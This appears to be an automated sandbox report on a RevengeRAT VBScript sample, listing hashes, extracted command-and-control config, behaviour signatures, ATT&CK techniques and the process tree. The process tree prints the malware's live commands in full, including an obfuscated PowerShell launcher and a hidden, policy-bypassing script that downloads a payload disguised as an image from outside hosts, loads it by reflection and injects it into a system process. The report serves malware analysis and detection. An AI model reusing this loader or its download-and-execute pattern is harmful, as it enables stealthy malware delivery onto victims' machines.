revengerat | 6e6c1a2d164e6bb18f8847054bd9417f17650c2f2bbf1ef575800927fb03b9f3

General

Target

6e6c1a2d164e6bb18f8847054bd9417f17650c2f2bbf1ef575800927fb03b9f3.vbs
Size

650B
MD5

5cf16aa21c6757f09238693e35229f4e
SHA1

f07993d1ffab08970971b6ff3b0b2162fc2367cb
SHA256

6e6c1a2d164e6bb18f8847054bd9417f17650c2f2bbf1ef575800927fb03b9f3
SHA512

2f92cc5fc41fa0aeeb7c15adeea6b82edaa249ed2d97401f140471de0de4fa1005a7c83ff49db154453dedea7a926b6030c47e36766c62af7b0eb83cde676426

Score

10^/10

revengerat nyancatrevenge trojan

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

brasil.ddns.com.br:333

Mutex

33c61550ada3497

Signatures

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat
Blocklisted process makes network request 3 IoCs

Processes:

WScript.exepowershell.exe

flow pid process

2 4444 WScript.exe
16 1976 powershell.exe
22 1976 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\Control Panel\International\Geo\Nation WScript.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1976 set thread context of 4664 1976 powershell.exe AddInProcess32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	pid	process
2	4444	WScript.exe
16	1976	powershell.exe
22	1976	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\Control Panel\International\Geo\Nation	WScript.exe

description	pid	process	target process
PID 1976 set thread context of 4664	1976	powershell.exe	AddInProcess32.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

AddInProcess32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0	AddInProcess32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AddInProcess32.exe

Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.

Processes:

description flow ioc

HTTP User-Agent header 2 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

4516 powershell.exe
4516 powershell.exe
1976 powershell.exe
1976 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 4516 powershell.exe
Token: SeDebugPrivilege 1976 powershell.exe

description	flow	ioc
HTTP User-Agent header	2	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

pid	process
4516	powershell.exe
4516	powershell.exe
1976	powershell.exe
1976	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4516	powershell.exe
Token: SeDebugPrivilege	1976	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 4444 wrote to memory of 4516	4444	WScript.exe	powershell.exe
PID 4444 wrote to memory of 4516	4444	WScript.exe	powershell.exe
PID 4516 wrote to memory of 1976	4516	powershell.exe	powershell.exe
PID 4516 wrote to memory of 1976	4516	powershell.exe	powershell.exe
PID 1976 wrote to memory of 4664	1976	powershell.exe	AddInProcess32.exe
PID 1976 wrote to memory of 4664	1976	powershell.exe	AddInProcess32.exe
PID 1976 wrote to memory of 4664	1976	powershell.exe	AddInProcess32.exe
PID 1976 wrote to memory of 4664	1976	powershell.exe	AddInProcess32.exe
PID 1976 wrote to memory of 4664	1976	powershell.exe	AddInProcess32.exe
PID 1976 wrote to memory of 4664	1976	powershell.exe	AddInProcess32.exe
PID 1976 wrote to memory of 4664	1976	powershell.exe	AddInProcess32.exe
PID 1976 wrote to memory of 4664	1976	powershell.exe	AddInProcess32.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\6e6c1a2d164e6bb18f8847054bd9417f17650c2f2bbf1ef575800927fb03b9f3.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4444

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTrecwBoDgTreHUDgTreZgBmDgTreGwDgTreZQBkDgTreEwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBHDgTreGUDgTredDgTreDgTretDgTreFIDgTreYQBuDgTreGQDgTrebwBtDgTreCDgTreDgTreLQBJDgTreG4DgTrecDgTreB1DgTreHQDgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTrecgBlDgTreHQDgTredQByDgTreG4DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBuDgTreHUDgTrebDgTreBsDgTreCDgTreDgTrefQDgTre7DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreQDgTreDgTreoDgTreCcDgTreaDgTreB0DgTreHQDgTrecDgTreBzDgTreDoDgTreLwDgTrevDgTreHUDgTrecDgTreBsDgTreG8DgTreYQBkDgTreGQDgTreZQBpDgTreG0DgTreYQBnDgTreGUDgTrebgBzDgTreC4DgTreYwBvDgTreG0DgTreLgBiDgTreHIDgTreLwBpDgTreG0DgTreYQBnDgTreGUDgTrecwDgTrevDgTreDDgTreDgTreMDgTreDgTre0DgTreC8DgTreNwDgTrezDgTreDkDgTreLwDgTreyDgTreDIDgTreNwDgTrevDgTreG8DgTrecgBpDgTreGcDgTreaQBuDgTreGEDgTrebDgTreDgTrevDgTreG4DgTreZQB3DgTreF8DgTreaQBtDgTreGEDgTreZwBlDgTreC4DgTreagBwDgTreGcDgTrePwDgTrexDgTreDcDgTreMDgTreDgTre3DgTreDgDgTreMgDgTre2DgTreDIDgTreMgDgTreyDgTreCcDgTreLDgTreDgTregDgTreCcDgTreaDgTreB0DgTreHQDgTrecDgTreDgTre6DgTreC8DgTreLwDgTre0DgTreDUDgTreLgDgTre3DgTreDQDgTreLgDgTrexDgTreDkDgTreLgDgTre4DgTreDQDgTreLwB4DgTreGEDgTrebQBwDgTreHDgTreDgTreLwBiDgTreGsDgTrecDgTreDgTrevDgTreHYDgTreYgBzDgTreF8DgTrebgBvDgTreHYDgTrebwBfDgTreG4DgTreZQB3DgTreF8DgTreaQBtDgTreGEDgTreZwBlDgTreC4DgTreagBwDgTreGcDgTreJwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTre7DgTreCDgTreDgTreaQBmDgTreCDgTreDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTretDgTreG4DgTreZQDgTregDgTreCQDgTrebgB1DgTreGwDgTrebDgTreDgTrepDgTreCDgTreDgTreewDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFQDgTreZQB4DgTreHQDgTreLgBFDgTreG4DgTreYwBvDgTreGQDgTreaQBuDgTreGcDgTreXQDgTre6DgTreDoDgTreVQBUDgTreEYDgTreODgTreDgTreuDgTreEcDgTreZQB0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCkDgTreOwDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTregDgTreD0DgTreIDgTreDgTrenDgTreDwDgTrePDgTreBCDgTreEEDgTreUwBFDgTreDYDgTreNDgTreBfDgTreEUDgTreTgBEDgTreD4DgTrePgDgTrenDgTreDsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEkDgTrebgBkDgTreGUDgTreeDgTreBPDgTreGYDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreGkDgTreZgDgTregDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreGUDgTreIDgTreDgTrewDgTreCDgTreDgTreLQBhDgTreG4DgTreZDgTreDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreHQDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreKQDgTregDgTreHsDgTreIDgTreDgTrekDgTreHMDgTredDg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= [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4516

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://uploaddeimagens.com.br/images/004/739/227/original/new_image.jpg?1707826222', 'http://45.74.19.84/xampp/bkp/vbs_novo_new_image.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('30fbeb2c1aab-da2b-1b94-4f9c-a64bc2e7=nekot&aidem=tla?txt.regnever/o/moc.topsppa.8b172-retsam/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32',''))} }"
3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1976

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
4⤵
- Checks processor information in registry
PID:4664

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
64B

MD5
1a11402783a8686e08f8fa987dd07bca

SHA1
580df3865059f4e2d8be10644590317336d146ce

SHA256
9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0

SHA512
5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z5qfy0no.xo5.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1976-31-0x000001C7D3630000-0x000001C7D3B7C000-memory.dmp

Filesize
5.3MB

Download
memory/1976-29-0x00007FF9418B0000-0x00007FF942371000-memory.dmp

Filesize
10.8MB

Download
memory/1976-13-0x00007FF9418B0000-0x00007FF942371000-memory.dmp

Filesize
10.8MB

Download
memory/1976-14-0x000001C7B2AC0000-0x000001C7B2AD0000-memory.dmp

Filesize
64KB

Download
memory/1976-24-0x000001C7B2AC0000-0x000001C7B2AD0000-memory.dmp

Filesize
64KB

Download
memory/1976-36-0x00007FF9418B0000-0x00007FF942371000-memory.dmp

Filesize
10.8MB

Download
memory/1976-32-0x000001C7B2AC0000-0x000001C7B2AD0000-memory.dmp

Filesize
64KB

Download
memory/1976-30-0x000001C7B2AC0000-0x000001C7B2AD0000-memory.dmp

Filesize
64KB

Download
memory/4516-25-0x00007FF9418B0000-0x00007FF942371000-memory.dmp

Filesize
10.8MB

Download
memory/4516-28-0x0000024012570000-0x0000024012580000-memory.dmp

Filesize
64KB

Download
memory/4516-27-0x0000024012570000-0x0000024012580000-memory.dmp

Filesize
64KB

Download
memory/4516-11-0x0000024012570000-0x0000024012580000-memory.dmp

Filesize
64KB

Download
memory/4516-26-0x0000024012570000-0x0000024012580000-memory.dmp

Filesize
64KB

Download
memory/4516-12-0x0000024012570000-0x0000024012580000-memory.dmp

Filesize
64KB

Download
memory/4516-40-0x00007FF9418B0000-0x00007FF942371000-memory.dmp

Filesize
10.8MB

Download
memory/4516-10-0x00007FF9418B0000-0x00007FF942371000-memory.dmp

Filesize
10.8MB

Download
memory/4516-7-0x0000024012A90000-0x0000024012AB2000-memory.dmp

Filesize
136KB

Download
memory/4664-33-0x0000000000400000-0x000000000040A000-memory.dmp

Filesize
40KB

Download
memory/4664-41-0x00000000745A0000-0x0000000074D50000-memory.dmp

Filesize
7.7MB

Download
memory/4664-42-0x0000000005FE0000-0x0000000006584000-memory.dmp

Filesize
5.6MB

Download
memory/4664-43-0x0000000005B90000-0x0000000005BA0000-memory.dmp

Filesize
64KB

Download
memory/4664-44-0x0000000005F40000-0x0000000005FDC000-memory.dmp

Filesize
624KB

Download
memory/4664-45-0x0000000006590000-0x00000000065F6000-memory.dmp

Filesize
408KB

Download
memory/4664-46-0x00000000745A0000-0x0000000074D50000-memory.dmp

Filesize
7.7MB

Download
memory/4664-47-0x0000000005B90000-0x0000000005BA0000-memory.dmp

Filesize
64KB

Download

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